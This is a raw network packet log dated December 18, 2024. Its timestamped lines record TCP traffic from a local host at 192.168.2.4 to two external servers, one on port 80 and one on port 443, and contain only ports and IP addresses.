                                                                                  Dec 18, 2024 15:35:46.517827034 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.517870903 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.518327951 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.518377066 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.518639088 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.518731117 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.518779039 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.519537926 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.519601107 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.519761086 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.520016909 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.520270109 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.520486116 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.520535946 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.521142006 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.521194935 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.521442890 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.521492958 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.521965981 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.522016048 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.522087097 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.522130966 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.522865057 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.523070097 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.523118973 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.523763895 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.523809910 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.523850918 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.523890018 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.525190115 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.525249958 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.525660992 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.525716066 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.525749922 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.525760889 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.525799990 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.525815964 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.526135921 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.526245117 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.526288986 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.527188063 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.527471066 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.527513981 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.527797937 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.527858019 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.527887106 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.527930975 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.528809071 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.528893948 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.528902054 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.528940916 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.529721975 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.529733896 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.529772043 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.530339956 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.530388117 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.530390024 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.530428886 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.531328917 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.531371117 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.531414032 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.532108068 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.532155991 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.532186031 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.532232046 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.533044100 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.533126116 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.533132076 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.533246040 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.533759117 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.533993006 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.534043074 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.534522057 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.534594059 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.534641027 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.535444021 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.535511017 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.535521984 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.535552025 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.536597967 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.536684990 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.536802053 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.536854982 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.537480116 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.537538052 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.685949087 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.686022043 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.686018944 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.686088085 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.686363935 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.686424017 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.686466932 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.686525106 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.686714888 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.687381983 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.687426090 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.687524080 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.688409090 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.688453913 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.688533068 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.688575029 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.688988924 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.689033031 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.689066887 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.689105034 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.689759016 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.689783096 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.689815998 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.689815998 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.690525055 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.690572977 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.690632105 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.690675974 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.691308975 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.691360950 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:49.206224918 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:49.206286907 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:51.133939028 CET49735443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:51.133994102 CET44349735103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:51.134140015 CET49735443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:51.134342909 CET49735443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:51.134372950 CET44349735103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:51.134478092 CET49735443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:51.169851065 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:51.169893026 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:51.169981003 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:51.173712969 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:51.173737049 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:52.945012093 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:52.984751940 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:52.984844923 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:52.990412951 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:52.990427017 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:52.990772009 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:53.037563086 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:53.041413069 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:53.083358049 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:53.888621092 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:53.930608034 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.172244072 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.172256947 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.172281981 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.172297001 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.172308922 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.172370911 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.172404051 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.172415972 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.172456026 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.231762886 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.231833935 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.231880903 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.231904030 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.231925964 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.231957912 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.462490082 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.462508917 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.462532043 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.462574959 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.462615967 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.462627888 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.462762117 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.500128984 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.500152111 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.500278950 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.500314951 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.500507116 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.537378073 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.537395954 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.537535906 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.537563086 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.537606955 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.732212067 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.732240915 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.732322931 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.732351065 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.732393026 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.745575905 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.745600939 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.745657921 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.745676994 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.745686054 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.745718956 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.759279966 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.759310961 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.759377956 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.759392023 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.759418011 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.759452105 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.770930052 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.770952940 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.771006107 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.771023035 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.771028042 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.771142006 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.785655022 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.785679102 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.785747051 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.785759926 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.785772085 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.785808086 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.928030968 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.928054094 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.928311110 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.928328991 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.928426027 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.939694881 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.939721107 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.939857960 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:54.939866066 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:54.939935923 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.028461933 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.028496027 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.028650999 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.028667927 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.028727055 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.042135000 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.042160988 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.042258024 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.042263985 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.042334080 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.053936958 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.053961992 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.054044008 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.054050922 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.054097891 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.067497015 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.067521095 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.067589045 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.067599058 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.067647934 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.081201077 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.081223965 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.081301928 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.081310034 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.081373930 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.093926907 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.093957901 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.094037056 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.094044924 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.094094992 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.119780064 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.119812012 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.119900942 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.119910955 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.119997025 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.302449942 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.302473068 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.302601099 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.302613974 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.302695036 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.312184095 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.312207937 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.312262058 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.312277079 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.312315941 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.312331915 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.320750952 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.320776939 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.320837975 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.320849895 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.320883989 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.320920944 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.329859018 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.329890013 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.329942942 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.329957008 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.329978943 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.330018044 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.337728024 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.337750912 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.337812901 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.337826967 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.337863922 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.337873936 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.345956087 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.345983982 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.346021891 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.346035957 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.346069098 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.346100092 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.355113983 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.355139971 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.355191946 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.355205059 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.355238914 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.355249882 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.363991976 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.364016056 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.364057064 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.364069939 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.364100933 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.364118099 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.571913958 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.571929932 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.571968079 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.572052956 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.572076082 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.572107077 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.572124958 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.579174995 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.579200029 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.579291105 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.579299927 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.579348087 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.585551977 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.585592031 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.585637093 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.585644007 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.585664034 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.585695028 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.592760086 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.592783928 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.592858076 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.592870951 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.592945099 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.599951029 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.599977970 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.600049973 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.600070000 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.600114107 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.606775999 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.606801987 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.606865883 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.606873035 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.606923103 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.614099979 CET44349736103.82.231.117192.168.2.4
